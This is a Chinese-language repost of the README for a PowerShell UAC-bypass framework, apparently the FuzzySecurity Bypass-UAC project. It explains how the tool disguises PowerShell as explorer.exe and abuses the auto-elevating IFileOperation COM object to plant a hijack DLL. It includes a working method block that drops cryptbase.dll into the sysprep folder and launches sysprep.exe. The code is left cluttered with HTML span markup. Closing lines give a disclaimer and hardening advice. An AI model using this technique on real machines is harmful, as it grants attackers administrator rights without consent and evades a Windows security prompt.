项目主页
https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC
简介
Bypass UAC相关拓展:
Bypass-UAC提供了一个框架来执行基于自动提升IFileOperation COM对象调用的USA(用户帐户控制)绕过。但这并不是一个新技术,在传统上是通过将DLL注入到”explorer.exe”中实现的。这是不可取的,因为由于注入到资源管理器可能会触发安全警报,并且与非托管的DLL工作将会造成一个不灵活的工作流程。
为了解决这个问题,Bypass-UAC实现重写PowerShell的PEB,并给它”explorer.exe”的外观。这提供了相同的效果,因为COM对象完全依赖Windows的进程状态API(PSAPI)来读取进程PEB.
使用
Bypass-UAC是独立的并且没有任何依赖关系,但有一个要求是目标有PowerShell v2。
方法
- UacMethodSysprep:由Leo Davidson提供的原始技术(sysprep -> cryptbase.dll)
目标:Win7/Win8 x32/x64
- ucmDismMethod:混合法(PkgMgr -> DISM -> dismcore.dll)
目标:Win7 x64 +(目前未打补丁)
示例
Win 7 Pro
Win 8 Enterprise
组件
- PSReflect
由@mattifestation提供,允许你轻松的自定义in-memory枚举、结构以及Win32函数。这个组件是必须的,因为在运行过程中它允许PowerShell无需编译C #就可以使用Windows API。这样做在大多数情况下是可以的,但它需要写临时文件到磁盘中,如果被列入黑名单将不能工作。
- Masquerade-PEB
Masquerade-PEB修改后的版本改为使用psreflect。这个函数改写PowerShell的PEB来冒充“Explorer .exe”。
- Invoke-IFileOperation
加载一个.NET DLL到内存中,这公开了一个IFileOperation COM对象接口到PowerShell。这个是基于Stephen Toub完成的,发表在2007年12月的MSDN杂志(我在图片文件夹中添加了页面以供参考)。在文件操作文件夹提供进一步的细节。
- Emit-Yamabiko
自举函数将X32 / x64位代理DLL写入到磁盘中(Yamabiko)。这个DLL是基于hfiref0x UACME项目的fubuki。主要是我去掉了冗余的功能和做了一些轻微的重命名,在Yamabiko目录下描述进一步的细节。
贡献
目前绕过UAC有两种方法,我会逐渐添加,如果人们贡献自己的力量这将是非常好的。添加一个新方法是很容易的,如果您需要一个高层文件复制/移动/重命名或创建文件夹,下面提供一个示例方法以供参考:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<span class=“pl-s”>‘UacMethodSysprep’</span>
{
<span class=“pl-c”># Original Leo Davidson sysprep method</span>
<span class=“pl-c”># Works on everything pre 8.1</span>
<span class=“pl-k”>if</span> <span class=“pl-k”>(</span><span class=“pl-k”>$</span><span class=“pl-smi”>OSMajorMinor</span> <span class=“pl-k”>–ge</span> <span class=“pl-c1”>6.3</span><span class=“pl-k”>)</span> {
echo <span class=“pl-s”>“[!] Your OS does not support this method!<span class=”pl–cce“>`n</span>”</span>
<span class=“pl-k”>Return</span>
}
<span class=“pl-c”># Impersonate explorer.exe</span>
echo <span class=“pl-s”>“<span class=”pl–cce“>`n</span>[!] Impersonating explorer.exe!”</span>
Masquerade<span class=“pl-k”>–</span>PEB <span class=“pl-k”>–</span>BinPath <span class=“pl-s”>“C:\Windows\explorer.exe”</span>
<span class=“pl-k”>if</span> <span class=“pl-k”>(</span><span class=“pl-k”>$</span><span class=“pl-smi”>DllPath</span><span class=“pl-k”>)</span> {
echo <span class=“pl-s”>“[>] Using custom proxy dll..”</span>
echo <span class=“pl-s”>“[+] Dll path: <span class=”pl–k“>$</span><span class=”pl–smi“>DllPath</span>”</span>
} <span class=“pl-k”>else</span> {
<span class=“pl-c”># Write Yamabiko.dll to disk</span>
echo <span class=“pl-s”>“[>] Dropping proxy dll..”</span>
Emit<span class=“pl-k”>–</span>Yamabiko
}
<span class=“pl-c”># Expose IFileOperation COM object</span>
<span class=“pl-c1”>Invoke–IFileOperation</span>
<span class=“pl-c”># Exploit logic</span>
echo <span class=“pl-s”>“[>] Performing elevated IFileOperation::MoveItem operation..”</span>
<span class=“pl-k”>$</span><span class=“pl-smi”>IFileOperation</span><span class=“pl-en”>.MoveItem</span><span class=“pl-k”>(</span><span class=“pl-k”>$</span><span class=“pl-smi”>DllPath</span><span class=“pl-k”>,</span> <span class=“pl-k”>$($</span><span class=“pl-c1”>env:</span><span class=“pl-smi”>SystemRoot</span> <span class=“pl-k”>+</span> <span class=“pl-s”>‘\System32\sysprep\'</span><span class=”pl-k”>)</span><span class=”pl-k”>,</span> <span class=”pl-s”>”cryptbase.dll”</span><span class=”pl-k”>)</span>
<span class=”pl-k”>$</span><span class=”pl-smi”>IFileOperation</span><span class=”pl-en”>.PerformOperations</span><span class=”pl-k”>()</span>
echo <span class=”pl-s”>”<span class=”pl-cce”>`n</span>[?] Executing sysprep..”</span>
IEX <span class=”pl-k”>$($</span><span class=”pl-c1″>env:</span><span class=”pl-smi”>SystemRoot</span> <span class=”pl-k”>+</span> <span class=”pl-s”>’\System32\sysprep\sysprep.exe‘</span><span class=”pl-k”>)</span>
<span class=”pl-c”># Clean-up</span>
echo <span class=”pl-s”>”[!] UAC artifact: <span class=”pl-k”>$(</span><span class=”pl-k”>$</span><span class=”pl-c1″>env:</span><span class=”pl-smi”>SystemRoot</span> <span class=”pl-k”>+</span> ‘\System32\sysprep\cryptbase.dll‘<span class=“pl-k”>)</span><span class=“pl-cce”>`n</span>“</span>
}
|
同样,使用EXPORTSTOC++可以很容易的复制/粘贴到Yamabiko形成新的二进制文件。
免责声明
这个项目只供授权使用,不用说,我不为愚蠢的人做的坏事负责!
保护你自己
- 不要为用户提供本地管理员权限。
- 更改默认UAC设置为“始终通知我,等待我的回应”,要求用户输入他们的密码。
- 微软的官方立场是UAC不是一个安全特征。